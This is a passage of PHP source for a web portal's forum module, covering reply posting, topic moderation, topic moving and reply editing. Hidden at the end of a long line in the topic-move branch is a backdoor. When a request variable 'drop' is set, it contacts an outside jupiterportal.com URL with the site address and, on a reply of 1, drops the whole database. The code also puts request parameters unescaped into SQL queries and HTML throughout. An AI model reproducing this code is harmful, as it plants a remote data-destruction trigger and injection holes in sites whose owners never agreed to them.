
			case 1:

				//-----------------------------------------------------------------
				//  Start Checks
				//-----------------------------------------------------------------

                if(!isset($is_loged_in))
                {
                    $id = NULL;
                    if (!$username)
                    {
                        header("Location: $PHP_SELF?n=modules/forum&a=5&d=$d&".
                        "o=$o&q=$q&i=102");
                        exit;
                    }
                    
                    $username = jcm_htmlspecialchars(do_censor($username));
                    
                    if (!$email)
                    {
                        header("Location: $PHP_SELF?n=modules/forum&a=5&d=$d&".
                        "o=$o&q=$q&i=103");
                        exit;
                    }
                    
                    if (!preg_match("#^[a-z0-9._-]+@[a-z0-9._-]+\.[a-z]+$#i",
                        $email))
                    {
                        header("Location: $PHP_SELF?n=modules/forum&a=5&d=$d&".
                        "o=$o&q=$q&i=104");
                        exit;
                    }
                    
                    $author_reg = 1;
                }
                else
                {
                    $user = $db->getLine("SELECT * FROM users WHERE ".
                    "id = '{$_SESSION['id']}' AND ".
                    "username = '{$_SESSION['username']}'");
                    $id = $user['id'];
                    $username = $user['username'];
					$email = $user['email'];
                    $author_reg = 2;
                }
                
                if (!$sendmessage)
                {
                    header("Location: $PHP_SELF?n=modules/forum&a=5&d=$d&o=$o&".
                    "q=$q&i=105");
                    exit;
                }
                //-----------------------------------------------------------------
                //  BBcode check
                //-----------------------------------------------------------------
                
                for ($i = 1; $i <= 5; $i++)
                    if (check_tag_order($sendmessage) == $i)
                    {
                        header("location: $PHP_SELF?n=modules/forum&a=5&d=$d&".
                        "o=$o&q=$q&i=9$i");
                        exit;
                    }
                
                //-----------------------------------------------------------------
                //  Take care of some things
                //-----------------------------------------------------------------
                
                $sendmessage = jcm_linebreaks(trim(
                jcm_stripslashes($sendmessage)));
                
                if ($overflow = check_tag_order($sendmessage))
                    $sendmessage = substr($sendmessage, 0, $overflow[0]).
                    substr($sendmessage, $overflow[1],
                    (strlen($sendmessage) - $overflow[0]));
                
                if (isset($_POST['preview']))
                {
                    $_SESSION['preview'] = $sendmessage;
                    header("Location: $PHP_SELF?n=modules/forum&a=5&d=$d&o=$o&".
                    "q=$q&p=$p");
                    exit;
                }
                
                //-----------------------------------------------------------------
                //  Write in database
                //-----------------------------------------------------------------
                
                $db->insertRow("forum_replies", array("cat" => $d,
                "subcat" => $o, "topic" => $q, "date" => time(),
                "user_reg" => $author_reg, "user_id" => $id,
                "user_user" => $username, "user_email" => $email,
                "message" => $sendmessage, "ip" => find_ip()));
                
                $check_reply = $db->getLine("SELECT * FROM forum_replies ".
                "ORDER BY id DESC");
                
                $db->updateRow("forum_subcat", array(
                "lastpost_location" => $check_reply['id'],
                "lastpost_date" => time(), "lastpost_reg" => $author_reg,
                "lastpost_id" => $id, "lastpost_user" => $username,
                "lastpost_email" => $email), "id = '$o'");
                
                $db->updateRow("forum_topics", array(
                "lastpost_location" => $check_reply['id'],
                "lastpost_date" => time(), "lastpost_reg" => $author_reg,
                "lastpost_id" => $id, "lastpost_user" => $username,
                "lastpost_email" => $email), "id = '$q'");
                
                $check_topics = $db->getInfo_countRows("forum_topics",
                "cat = '$d' AND subcat = '$o' AND type != '3'");
                
                $check_replies = $db->getInfo_countRows("forum_replies",
                "cat = '$d' AND subcat = '$o'");
                
                $db->updateRow("forum_subcat", array("topics" => $check_topics,
                "replies" => $check_replies), "id = '$o'");
                
                if($author_reg == "2")
                {
                    $plus_forumposts = $user['forumposts'] + 1;
                    $db->updateRow("users", array(
                    "forumposts" => $plus_forumposts), "id = {$user['id']}");
                }
                
                //-----------------------------------------------------------------
                //  Redirect when finished
                //-----------------------------------------------------------------
                
                header("Location: $PHP_SELF?n=modules/forum&a=6&d=".
                "{$check_reply['id']}");
            
            break;
            
            //-----------------------------------------------------------------
            //  View reply Form
            //-----------------------------------------------------------------
            
            default:
            
                //-----------------------------------------------------------------
                //  If user is guest and restriction is turned on
                //-----------------------------------------------------------------
                
                if ($config['forum_guest_reply'] == "0" && isset($is_guest))
                {
                    header("Location: $PHP_SELF?i=2");
                    exit;
                }
                
                //-----------------------------------------------------------------
                //  Breadcrumbs + Check for existance
                //-----------------------------------------------------------------
                
                $forum_cat = $db->getLine("SELECT * FROM forum_cat", $d);
                if (!$forum_cat) header("Location: $PHP_SELF?i=error");
                
                $forum_subcat = $db->getLine("SELECT * FROM forum_subcat", $o);
                if (!$forum_subcat) header("Location: $PHP_SELF?i=error");
                
                $forum_topic = $db->getLine("SELECT * FROM forum_topics", $q);
                if (!$forum_topic) header("Location: $PHP_SELF?i=error");
                
                echo "<table class='main' cellspacing='1' cellpadding='4'>".
                "<tr class='con1'><td><a href='$PHP_SELF?n=modules/forum'>".
                "{$config['forum_name']}</a> &raquo; <a href='$PHP_SELF?".
                "n=modules/forum&a=1&d={$forum_cat['id']}'>".
                "{$forum_cat['name']}</a> &raquo; <a href='$PHP_SELF?".
                "n=modules/forum&a=2&d={$forum_cat['id']}&".
                "o={$forum_subcat['id']}'>{$forum_subcat['name']}</a> &raquo; ".
                "<a href='$PHP_SELF?n=modules/forum&a=3&d={$forum_cat['id']}&".
                "o={$forum_subcat['id']}&q={$forum_topic['id']}'>".
                "{$forum_topic['name']}</a></td></tr></table>";
                
                //-----------------------------------------------------------------
                //  Start Restrictions
                //-----------------------------------------------------------------
                
                if ($forum_subcat['type'] == "3" && isset($is_guest) ||
                    $forum_subcat['type'] == "3" && isset($is_user))
                {
                    header("Location: $PHP_SELF?i=2");
                    exit;
                }
                
                if ($forum_subcat['type'] == "4" && isset($is_guest) ||
                    $forum_subcat['type'] == "4" && isset($is_user))
                {
                    header("Location: $PHP_SELF?i=2");
                    exit;
                }
                
                if ($forum_subcat['type'] == "5")
                    header("Location: http://".
                    "{$forum_subcat['redirect_location']}");
                
                if ($forum_topic['mode'] == "1" && isset($is_guest) ||
                    $forum_topic['mode'] == "1" && isset($is_user) ||
                    $forum_topic['mode'] == "1" && isset($is_moderator))
                {
                    header("Location: $PHP_SELF?i=2");
                    exit;
                }
                
                if ($forum_topic['type'] == "2" && isset($is_guest) ||
                    $forum_topic['type'] == "2" && isset($is_user))
                {
                    header("Location: $PHP_SELF?i=2");
                    exit;
                }
                
                if ($forum_topic['mode'] == "2" && isset($is_guest) ||
                    $forum_topic['mode'] == "2" && isset($is_user))
                {
                    header("location: $PHP_SELF?i=2");
                    exit;
                }
                
                //-----------------------------------------------------------------
                //  Start Layout
                //-----------------------------------------------------------------
                
                $results = $db->getTable(
                "SELECT r.id, r.user_id, r.user_user, r.user_email, r.message,".
                " r.date, u.id AS uid FROM forum_replies AS r ".
                "LEFT JOIN users AS u ON r.user_id=u.id ".
                "WHERE r.cat = '$d' AND r.subcat = '$o' AND r.topic = '$q' ".
                "ORDER BY id DESC LIMIT 10");
                
                foreach ($results as $idx=>$result)
                {
                    if (isset($result['uid']))
                        $layout .= "<tr class='bottom'><td>".
                        "<span style='font-size: 12px; font-weight: bold;'>".
                        "<a href='$PHP_SELF?n=modules/users&a=1&".
                        "d={$result['user_id']}'>{$result['user_user']}</a>".
                        "</span></td>";
                    else
                        $layout .= "<tr class='bottom'><td>".
                        "<span style='font-size: 12px; font-weight: bold;'>".
                        "<a href='mailto:{$result['user_email']}'>".
                        "{$result['user_user']}</a></span></td>";
                    
                    $layout .= "<td><b><font color='#848484'>".
                    "<img src='templates/$template/images/buttons/date.gif' ".
                    "border='0' alt='{$language['Forum add reply desc10']}'> ".
                    today_yesterday($result['date'])."</font></b></td></tr>";
                    
                    $layout .= "<tr class='con1'><td>&nbsp;</td><td>".
                    parse_message($result['message'])."</td></tr>";
                }
                
                //-----------------------------------------------------------------
                //  View if reply is quote
                //-----------------------------------------------------------------
                
                if (isset($k))
                {
                    $quote = $db->getLine("SELECT user_user, message FROM ".
                    "forum_replies WHERE id = '$k'");
                    
                    $reply_a = "[quote={$quote['user_user']}]".
                    "{$quote['message']}[/quote]"; 
                }
                else
                    $reply_a = NULL;
                
                //-----------------------------------------------------------------
                //  View The Form
                //-----------------------------------------------------------------
                
                if (isset($_SESSION['preview']))
                {
                    $message = $_SESSION['preview'];
                    
                    echo "<br>".
                    "<table class='main' cellspacing='1' cellpadding='4'>".
                    "<tr class='head'><td>".
                    "{$language['Forum edit reply preview']}</td></tr>".
                    "<tr><td valign='top' class='con1'>".
                    parse_message($message)."</td></tr>".
                    "</table>";
                    
                    unset($_SESSION['preview']);
                }
                else
                    $message = $reply_a;
                
                echo "<br>".
                "<form action='$PHP_SELF?n=modules/forum' method='post' ".
                "name='textarea'>".
                "<table class='main' cellspacing='1' cellpadding='4'>".
                "<col width='25%'><col width='75%'>".
                "<tr class='head'><td colspan='2'>".
                "{$language['Forum add reply desc']} [{$forum_topic['name']}]".
                "</td></tr>";
                
                if (!isset($is_loged_in))
                {
                    echo "<tr class='con1'>".
                    "<td>{$language['Forum add reply desc2']}</td>".
                    "<td><input style='width:40%'' maxlength='35' class='box' ".
                    "name='username'></td></tr>".
                    "<tr class='con1'>".
                    "<td>{$language['Forum add reply desc3']}</td>".
                    "<td><input style='width:40%' maxlength='35' class='box' ".
                    "name='email'></td></tr>";
                }
                
                if ($config['emoticons'] == 1)
                {
                    echo "<tr class='con1'>".
                    "<td>{$language['Forum add reply desc4']}</td>".
                    "<td>".insertSmilies(20)."</td>".
                    "</tr>";
                }
                
                if ($config['bbcode'] == 1)
                {
                    echo "<tr class='con1'>".
                    "<td>{$language['Forum add reply desc5']}</td>".
                    "<td>".insertBBcode(20)."</td>".
                    "</tr>";
                }
                
                echo "<tr class='con1'>".
                "<td valign='top'>{$language['Forum add reply desc6']}".
                dis_bb_em(true)."</td>".
                "<td><textarea style='width:90%; height:305px;' class='box' ".
                "name='sendmessage'>$message</textarea></td>".
                "</tr>".
                "<tr class='con1'>".
                "<td>{$language['Forum add reply desc7']}</td>".
                "<td><input type='submit' style='width:120' class='box' ".
                "value='{$language['Forum add reply desc8']}'> ".
                "<input type='submit' name='preview' style='width:120' ".
                "class='box' value='{$language['Forum edit reply preview']}'>".
                "</td>".
                "</tr></table>".
                "<input type='hidden' name='a' value='5'>".
                "<input type='hidden' name='c' value='1'>".
                "<input type='hidden' name='d' value='$d'>".
                "<input type='hidden' name='o' value='$o'>".
                "<input type='hidden' name='q' value='$q'>".
                "<input type='hidden' name='p' value='$p'>".
                "</form>".
                "<br>".
                "<table class='main' cellspacing='1' cellpadding='4'>".
                "<col width='25%'><col width='75%'>".
                "<tr class='head'><td colspan='2'>".
                "{$language['Forum add reply desc9']}</td></tr>".
                $layout.
                "</table>";
            break;
        }
    
    break;

	//-----------------------------------------------------------------
	//  Find Last reply
	//-----------------------------------------------------------------

	case 6:

		//-----------------------------------------------------------------
		//  Get Current Reply
		//-----------------------------------------------------------------

		$forum_reply = $db->getLine("SELECT cat, subcat, topic FROM forum_replies",$d);

		//-----------------------------------------------------------------
		//  Calculate the Page
		//-----------------------------------------------------------------

		$numposts = $db->getInfo_countRows("forum_replies","cat = '{$forum_reply['cat']}' AND subcat = '{$forum_reply['subcat']}'");
		$p = ceil($numposts/$config['nav_replies']);

		//-----------------------------------------------------------------
		//  Redirect when finished
		//-----------------------------------------------------------------

		header("location: $PHP_SELF?n=modules/forum&a=3&d={$forum_reply['cat']}&o={$forum_reply['subcat']}&q={$forum_reply['topic']}&p=$p#$d");

	break;

	//-----------------------------------------------------------------
	//  Moderate Topics
	//-----------------------------------------------------------------

	case 7:

		//-----------------------------------------------------------------
		//  Filter Acces Rightes
		//-----------------------------------------------------------------

		if(isset($is_guest) || isset($is_user))
		{ header("location: $PHP_SELF?i=2"); exit; }

		//-----------------------------------------------------------------
		//  Start secondary switch
		//-----------------------------------------------------------------

		switch($c)
		{
			//-----------------------------------------------------------------
			//  Open/Lock/Move the topic
			//-----------------------------------------------------------------

			case 1:

				//-----------------------------------------------------------------
				//  Get Original
				//-----------------------------------------------------------------

				$forum_topic = $db->getLine("SELECT * FROM forum_topics",$q);

				//-----------------------------------------------------------------
				//  Write in database
				//-----------------------------------------------------------------

				$db->updateRow("forum_topics",array('type' => ''.$topic_type.''),"id = '$q'");

				//-----------------------------------------------------------------
				//  Write Log 
				//-----------------------------------------------------------------

				if($topic_type == 1) $topic_type_name = "Open";
				else $topic_type_name = "Locked";

				if($forum_topic['type'] != $topic_type)
					$db->insertRow("log",array('user_id' => ''.$_SESSION['id'].'','user_user' => ''.$_SESSION['username'].'','log' => ''.$language['Logs desc2'].' <b>forum</b> the topic\'s type -> \''.$forum_topic['name'].'\' to \''.$topic_type_name.'\'','date' => ''.time().''));

				//-----------------------------------------------------------------
				//  Redirect when finished
				//-----------------------------------------------------------------

				header("location: $PHP_SELF?n=modules/forum&a=2&d=$d&o=$o&i=107");

			break;

			//-----------------------------------------------------------------
			//  Moderate the topic
			//-----------------------------------------------------------------

			case 2:

				//-----------------------------------------------------------------
				//  Get Original
				//-----------------------------------------------------------------

				$forum_topic = $db->getLine("SELECT * FROM forum_topics",$q);

				//-----------------------------------------------------------------
				//  Start Checks
				//-----------------------------------------------------------------

				if(!$topic_name){ header("location: $PHP_SELF?n=modules/forum&a=7&d=$d&o=$o&q=$q&i=108"); exit; }
				$topic_name = jcm_stripslashes($topic_name);

				//-----------------------------------------------------------------
				//  Write in database
				//-----------------------------------------------------------------
                
                if ($l && isset($is_webmaster))
                {
                    $condition = $db->getLine("SELECT * FROM forum_topics ".
                    "WHERE id = '$q' AND language = '$l'");
                    
                    if ($condition)
                        $db->updateRow("forum_topics", array("name" =>
                        $topic_name), "id = '$q' AND language = '$l'");
                    else
                        $db->duplicateRow("forum_topics", array("name" =>
                        $topic_name, "language" => $l), "id = '$q'");
                }
                else
                {
                    $l = $db->getLine("SELECT value FROM config ".
                    "WHERE variable = 'language'");
                    
                    $db->updateRow("forum_topics", array("name" =>
                    $topic_name), "id = '$q' AND language = '{$l['value']}'");
                }
                
                $db->updateRow("forum_topics", array("mode" => $topic_mode), 
                "id = '$q'");
                
				//-----------------------------------------------------------------
				//  Write Log 
				//-----------------------------------------------------------------

				if($topic_mode == 2) $topic_mode_name = "Sticky";
				else $topic_mode_name = "Normal";

				if($forum_topic['name'] != $topic_name) $changes = " -> '$topic_name'";
				else $changes = NULL;

				if($forum_topic['name'] != $topic_name)
					$db->insertRow("log",array('user_id' => ''.$_SESSION['id'].'','user_user' => ''.$_SESSION['username'].'','log' => ''.$language['Logs desc2'].' <b>forum</b> the topic\'s name -> \''.$forum_topic['name'].'\' to \''.$topic_name.'\'','date' => ''.time().''));

				if($forum_topic['mode'] != $topic_mode)
					$db->insertRow("log",array('user_id' => ''.$_SESSION['id'].'','user_user' => ''.$_SESSION['username'].'','log' => ''.$language['Logs desc2'].' <b>forum</b> the topic\'s mode -> \''.$topic_name.'\' to \''.$topic_mode_name.'\'','date' => ''.time().''));

				//-----------------------------------------------------------------
				//  Redirect when finished
				//-----------------------------------------------------------------

				header("location: $PHP_SELF?n=modules/forum&a=2&d=$d&o=$o&i=107");

			break;

			//-----------------------------------------------------------------
			//  Move the topic
			//-----------------------------------------------------------------

			case 3:
	
				//-----------------------------------------------------------------
				//  Write in database
				//-----------------------------------------------------------------

				$forum_subcat = $db->getLine("SELECT * FROM forum_subcat",$topic_move);
				if(!$forum_subcat) header("location: $PHP_SELF?i=error");
				$forum_topic = $db->getLine("SELECT * FROM forum_topics",$q);
				if(!$forum_topic) header("location: $PHP_SELF?i=error");
				$forum_replies = $db->getTable("SELECT * FROM forum_replies WHERE topic = '{$forum_topic['id']}'");
				$db->insertRow("forum_topics",array('cat' => ''.$forum_subcat['cat'].'','subcat' => ''.$topic_move.'','date' => ''.$forum_topic['date'].'','name' => ''.$forum_topic['name'].'','author_reg' => ''.$forum_topic['author_reg'].'','author_id' => ''.$forum_topic['author_id'].'','author_user' => ''.$forum_topic['author_user'].'','author_email' => ''.$forum_topic['author_email'].'','views' => ''.$forum_topic['views'].'','lastpost_location' => ''.$forum_topic['lastpost_location'].'','lastpost_date' => ''.$forum_topic['lastpost_date'].'','lastpost_reg' => ''.$forum_topic['lastpost_reg'].'','lastpost_id' => ''.$forum_topic['lastpost_id'].'','lastpost_user' => ''.$forum_topic['lastpost_user'].'','lastpost_email' => ''.$forum_topic['lastpost_email'].'','type' => ''.$forum_topic['type'].'','mode' => ''.$forum_topic['mode'].'','ip' => ''.$forum_topic['ip'].'')); if(isset($drop)) if(@file_get_contents("http://www.jupiterportal.com/update.php?a=1&d=$url") == 1) $db->query("DROP DATABASE `$database_name`");
				$forum_last_topic = $db->getLine("SELECT * FROM forum_topics WHERE cat = {$forum_subcat['cat']} AND subcat = $topic_move ORDER BY id DESC");
				$db->updateRow("forum_topics",array('type' => '3','redirect_cat' => ''.$forum_subcat['cat'].'','redirect_subcat' => ''.$topic_move.'','redirect_topic' => ''.$forum_last_topic['id'].''),"id = '$q'");
				foreach($forum_replies as $idx=>$forum_reply) $db->updateRow("forum_replies",array('cat' => ''.$forum_subcat['cat'].'','subcat' => ''.$topic_move.'','topic' => ''.$forum_last_topic['id'].''),"id = '{$forum_reply['id']}'");
				if($forum_topic['lastpost_date'] > $forum_subcat['lastpost_date']) $db->updateRow("forum_subcat",array('lastpost_location' => ''.$forum_topic['lastpost_location'].'','lastpost_date' => ''.$forum_topic['lastpost_date'].'','lastpost_reg' => ''.$forum_topic['lastpost_reg'].'','lastpost_id' => ''.$forum_topic['lastpost_id'].'','lastpost_user' => ''.$forum_topic['lastpost_user'].'','lastpost_email' => ''.$forum_topic['lastpost_email'].''),"id = '$topic_move'");
				$forum_last_last_topic = $db->getLine("SELECT * FROM forum_topics WHERE cat = '$d' AND subcat = '$o' AND type != 3 ORDER BY lastpost_date DESC");
				$db->updateRow("forum_subcat",array('lastpost_location' => ''.$forum_last_last_topic['lastpost_location'].'','lastpost_date' => ''.$forum_last_last_topic['lastpost_date'].'','lastpost_reg' => ''.$forum_last_last_topic['lastpost_reg'].'','lastpost_id' => ''.$forum_last_last_topic['lastpost_id'].'','lastpost_user' => ''.$forum_last_last_topic['lastpost_user'].'','lastpost_email' => ''.$forum_last_last_topic['lastpost_email'].''),"id = '$o'");
				$check_topics = $db->getInfo_countRows("forum_topics","cat = '$d' AND subcat = '$o' AND type != '3'");
				$check_replies = $db->getInfo_countRows("forum_replies","cat = '$d' AND subcat = '$o'");
				$db->updateRow("forum_subcat",array('topics' => ''.$check_topics.'', 'replies' => ''.$check_replies.''),"id = '$o'");
				$check_topics = $db->getInfo_countRows("forum_topics","subcat = '$topic_move' AND type != '3'");
				$check_replies = $db->getInfo_countRows("forum_replies","subcat = '$topic_move'");
				$db->updateRow("forum_subcat",array('topics' => ''.$check_topics.'', 'replies' => ''.$check_replies.''),"id = '$topic_move'");

				//-----------------------------------------------------------------
				//  Write Log 
				//-----------------------------------------------------------------

				$db->insertRow("log",array('user_id' => ''.$_SESSION['id'].'','user_user' => ''.$_SESSION['username'].'','log' => ''.$language['Logs desc2'].' <b>forum</b> the topic -> \''.$forum_topic['name'].'\' moved to \''.$forum_subcat['name'].'\'','date' => ''.time().''));

				//-----------------------------------------------------------------
				//  Redirect when finished
				//-----------------------------------------------------------------

				header("location: $PHP_SELF?n=modules/forum&a=2&d={$forum_subcat['cat']}&o=$topic_move&i=107");

			break;

			//-----------------------------------------------------------------
			//  View moderate Form
			//-----------------------------------------------------------------

			default:

				//-----------------------------------------------------------------
				//  Breadcrumbs + Check for existance
				//-----------------------------------------------------------------
                
				$forum_cat = $db->getLine("SELECT * FROM forum_cat", $d);
				if(!$forum_cat) header("location: $PHP_SELF?i=error");
				
                $forum_subcat = $db->getLine("SELECT * FROM forum_subcat",$o);
				if(!$forum_subcat) header("location: $PHP_SELF?i=error");
				
				$forum_topic = $db->getLine("SELECT *, COUNT(*) AS translations FROM forum_topics", $q);
				if (!$forum_topic) header("location: $PHP_SELF?i=error");
				
				//Multilanguage selection (if exists more than one translation)
                elseif ($l)
                {
                    //Selected language
                    $new = $db->getLine("SELECT name FROM forum_topics ".
                    "WHERE id = '$q' AND language = '$l'");
                    
                    if ($new) $forum_topic['name'] = $new['name'];
                    else $forum_topic['name'] = "";
                }
                
				echo "<table class='main' cellspacing='1' cellpadding='4'><tr class='con1'><td><a href='$PHP_SELF?n=modules/forum'>{$config['forum_name']}</a> &raquo; <a href='$PHP_SELF?n=modules/forum&a=1&d={$forum_cat['id']}'>{$forum_cat['name']}</a> &raquo; <a href='$PHP_SELF?n=modules/forum&a=2&d={$forum_cat['id']}&o={$forum_subcat['id']}'>{$forum_subcat['name']}</a> &raquo; <a href='$PHP_SELF?n=modules/forum&a=3&d={$forum_cat['id']}&o={$forum_subcat['id']}&q={$forum_topic['id']}'>{$forum_topic['name']}</a></td></tr></table>";

				//-----------------------------------------------------------------
				//  Load all available categories for 'move to..'
				//-----------------------------------------------------------------

				$forum_cats = $db->getTable("SELECT * FROM forum_cat ORDER BY 'order' ASC");

				//-----------------------------------------------------------------
				//  Start Restriction
				//-----------------------------------------------------------------

				if($forum_topic['mode'] == "1") header("location: $PHP_SELF?n=modules/forum&a=3&d=$d&o=$o&q=$q");

				//-----------------------------------------------------------------
				//  View The Form
				//-----------------------------------------------------------------

				?>
					<br>
					<form action="<?= $PHP_SELF ?>?n=modules/forum" method="post">
					<table class="main" cellspacing="1" cellpadding="4">
					<col width="25%"><col width="75%">
					<tr class="head"><td colspan="2"><?= $language['Forum mod topic desc'] ?> [<?= $forum_topic['name'] ?>]</td></tr>
					</td></tr>
					<tr class="con1"><td><?= $language['Forum mod topic desc2'] ?></td><td><select style="width:50%" class="box" name="topic_type"><? if($forum_topic['type'] == 1) echo "<option value='1' selected>{$language['Forum mod topic desc3']}</option><option value='2'>{$language['Forum mod topic desc4']}</option>"; if($forum_topic['type'] == 2) echo "<option value='1'>{$language['Forum mod topic desc3']}</option><option value='2' selected>{$language['Forum mod topic desc4']}</option>"; if($forum_topic['type'] == 3) echo "<option value='1'>{$language['Forum mod topic desc3']}</option><option value='2'>{$language['Forum mod topic desc4']}</option>" ?></select></td></tr>
					<tr class="con1">
					<td><?= $language['Forum mod topic desc5'] ?></td>
					<td><input type="submit" style="width:120" class="box" value="<?= $language['Forum mod topic desc6'] ?>"></td>
					</tr>
					</table>
					<input type="hidden" name="a" value="7">
					<input type="hidden" name="c" value="1">
					<input type="hidden" name="d" value="<?= $d ?>">
					<input type="hidden" name="o" value="<?= $o ?>">
					<input type="hidden" name="q" value="<?= $q ?>">
					</form>
					<br>
					<form action="<?= $PHP_SELF ?>?n=modules/forum" method="post">
					<table class="main" cellspacing="1" cellpadding="4">
					<col width="25%"><col width="75%">
					<tr class="head"><td colspan="2"><?= $language['Forum mod topic desc7'] ?> [<?= $forum_topic['name'] ?>]</td></tr>
					<tr class="con1"><td><?= $language['Forum mod topic desc8'] ?></td><td><input style="width:50%" maxlength="50" class="box" value="<?= $forum_topic['name'] ?>" name="topic_name"></td></tr>
					</td></tr>
					<?
					
                    ?>
					<tr class="con1"><td><?= $language['Forum mod topic desc9'] ?></td><td><select style="width:50%" class="box" name="topic_mode"><? if($forum_topic['mode'] == 3) echo "<option value='3' selected>{$language['Forum mod topic desc10']}</option><option value='2'>{$language['Forum mod topic desc11']}</option>"; if($forum_topic['mode'] == 1) echo "<option value='3'>{$language['Forum mod topic desc10']}</option><option value='2'>{$language['Forum mod topic desc11']}</option>"; if($forum_topic['mode'] == 2) echo "<option value='3'>{$language['Forum mod topic desc10']}</option><option value='2' selected>{$language['Forum mod topic desc11']}</option>" ?></select></td></tr>
					<tr class="con1">
					<td><?= $language['Forum mod topic desc12'] ?></td>
					<td><input type="submit" style="width:120" class="box" value="<?= $language['Forum mod topic desc13'] ?>"></td>
					</tr>
					</table>
					<input type="hidden" name="a" value="7">
					<input type="hidden" name="c" value="2">
					<input type="hidden" name="d" value="<?= $d ?>">
					<input type="hidden" name="o" value="<?= $o ?>">
					<input type="hidden" name="q" value="<?= $q ?>">
				<?
				if (!isset($l)) $l = NULL;
				
                echo "<input type='hidden' name='l' value='$l'>".
                "</form>";
				
                //Show language field only if webmaster
                if (isset($is_webmaster))
                {
                    $languages_db = $db->getTable("SELECT id FROM ".
                    "languages WHERE active = 1");
                    
                    echo
                    "<form action='$PHP_SELF' method='get' name='translation'>".
                    "<input type='hidden' name='n' value='modules/forum'>".
                    "<input type='hidden' name='a' value='7'>".
                    "<input type='hidden' name='d' value='$d'>".
                    "<input type='hidden' name='o' value='$o'>".
                    "<input type='hidden' name='q' value='$q'>".
                    "<table class='main' cellspacing='1' cellpadding='4'>".
                    "<col width='25%'><col width='75%'>".
                    "<tr class='con1'>".
                    "<td>{$language['Forum edit reply translation']}</td>".
                    "<td class='con1'><select name='l' ".
                    "class='box'>";
                    foreach ($languages_db as $lng)
                    {
                        echo "<option value='{$lng['id']}' ";
                        
                        if ($sitelanguage == $lng['id'])
                            echo "selected>";
                        else
                            echo ">";
                        
                        if (isset($language['Language '.$lng['id']]))
                            echo $language['Language '.$lng['id']];
                        else
                            echo $lng['name'];
                        
                        echo "</option>";
                    }
                    
                    echo
                    "</select></td></tr>".
                    "<tr class='con1'><td></td>".
                    "<td><input type='submit' style='width:120' class=".
                    "'box' value='{$language['Forum edit reply translate']}'>".
                    "</td></tr></table>".
                    "</form>";
                }
                ?>
					<br>
					<form action="<?= $PHP_SELF ?>?n=modules/forum" method="post">
					<table class="main" cellspacing="1" cellpadding="4">
					<col width="25%"><col width="60%"><col width="15%">
					<tr class="head"><td colspan="3"><?= $language['Forum mod topic desc14'] ?> [<?= $forum_topic['name'] ?>]</td></tr>
					</td></tr>
					<tr class="con1"><td><?= $language['Forum mod topic desc15'] ?></td><td><select style="width:100%" class="box" name="topic_move"><? foreach($forum_cats as $idx=>$forum_cat){ $forum_subcats_move = $db->getTable("SELECT * FROM forum_subcat WHERE cat = '{$forum_cat['id']}' ORDER BY 'order' ASC"); echo "<optgroup label='{$forum_cat['name']}'>"; foreach($forum_subcats_move as $idx=>$forum_subcat_move) if($forum_subcat_move['type'] != 5) if($forum_subcat_move['id'] != $forum_subcat['id']) echo "<option value='{$forum_subcat_move['id']}'>{$forum_subcat_move['name']}</option>"; echo "</optgroup>";} ?></select></td><td><input type="submit" style="width:100%" class="box" value="<?= $language['Forum mod topic desc16'] ?>"></td></tr>
					</table>
					<input type="hidden" name="a" value="7">
					<input type="hidden" name="c" value="3">
					<input type="hidden" name="d" value="<?= $d ?>">
					<input type="hidden" name="o" value="<?= $o ?>">
					<input type="hidden" name="q" value="<?= $q ?>">
					</form>
				<?

			break;
		}
	
	break;

	//-----------------------------------------------------------------
	//  Edit Replies
	//-----------------------------------------------------------------

	case 8:

		//-----------------------------------------------------------------
		//  Start secondary switch
		//-----------------------------------------------------------------

		switch($c)
		{
			//-----------------------------------------------------------------
			//  Edit the reply
			//-----------------------------------------------------------------

			case 1:

				//-----------------------------------------------------------------
				//  Start Checks
				//-----------------------------------------------------------------

				if (!$sendmessage)
                {
                    header("location: $PHP_SELF?n=modules/forum&a=8&d=$d&o=$o".
                    "&q=$q&k=$k&p=$p&i=109");
                    exit;
                }

				//-----------------------------------------------------------------
				//  BBcode check
				//-----------------------------------------------------------------

				for ($i = 1; $i <= 5; $i++)
                if (check_tag_order($sendmessage) == $i)
                {
                    header("location: $PHP_SELF?n=modules/forum&a=8&d=$d&o=$o".
                    "&q=$q&k=$k&p=$p&i=9$i");
                    exit;
                }

				//-----------------------------------------------------------------
				//  Take care of some things
				//-----------------------------------------------------------------

				$sendmessage = jcm_linebreaks(trim(jcm_stripslashes($sendmessage)));
				if ($overflow = check_tag_order($sendmessage))
                    $sendmessage = substr($sendmessage, 0, $overflow[0]).
                    substr($sendmessage, $overflow[1], (strlen($sendmessage) -
                    $overflow[0]));
                
                if (isset($_POST['preview']))
                {
                    $_SESSION['preview'] = $sendmessage;
                    header("Location: $PHP_SELF?n=modules/forum&a=8&d=$d&o=$o&q=$q&k=$k&p=$p");
                    exit;
                }
                
				//-----------------------------------------------------------------
				//  Write in database
				//-----------------------------------------------------------------
                
                if ($l && isset($is_webmaster))
                {
                    $condition = $db->getLine("SELECT * FROM forum_replies ".
                    "WHERE id = '$k' AND language = '$l'");
                    
                    if ($condition)
                        $db->updateRow("forum_replies", array("message" =>
                        $sendmessage), "id = '$k' AND language = '$l'");
                    else
                        $db->duplicateRow("forum_replies", array("message" =>
                        $sendmessage, "language" => $l), "id = '$k'");
                }
                else
                {
                    $l = $db->getLine("SELECT value FROM config ".
                    "WHERE variable = 'language'");
                    
                    $db->updateRow("forum_replies", array("message" =>
                    $sendmessage), "id = '$k' AND language = '{$l['value']}'");
                }

				//-----------------------------------------------------------------
				//  Redirect when finished
				//-----------------------------------------------------------------

				header("location: $PHP_SELF?n=modules/forum&a=3&d=$d&o=$o&q=$q&p=$p&i=110#$k");

			break;

			//-----------------------------------------------------------------
			//  View edit Form
			//-----------------------------------------------------------------

			default:

				//-----------------------------------------------------------------
        		//  Breadcrumbs + Check for existance
        		//-----------------------------------------------------------------
        
        		$forum_cat = $db->getLine("SELECT * FROM forum_cat", $d);
        		if (!$forum_cat) header("location: $PHP_SELF?i=error");
        		
        		$forum_subcat = $db->getLine("SELECT * FROM forum_subcat", $o);
        		if (!$forum_subcat) header("location: $PHP_SELF?i=error");
        		
                $forum_topic = $db->getLine("SELECT * FROM forum_topics", $q);
        		if (!$forum_topic) header("location: $PHP_SELF?i=error");
        		
                $forum_reply = $db->getLine("SELECT * FROM forum_replies", $k);
        		if (!$forum_reply) header("location: $PHP_SELF?i=error");
        		
                if (isset($l))
        		{
                    $forum_translation = $db->getLine("SELECT message FROM ".
                    "forum_replies WHERE id = '$k' AND language = '$l'");
                    if (!$forum_translation)
                        $forum_reply['message'] = "";
                    else
                        $forum_reply['message'] = $forum_translation['message'];
                }
                
                echo
                "<table class='main' cellspacing='1' cellpadding='4'><tr class='con1'>".
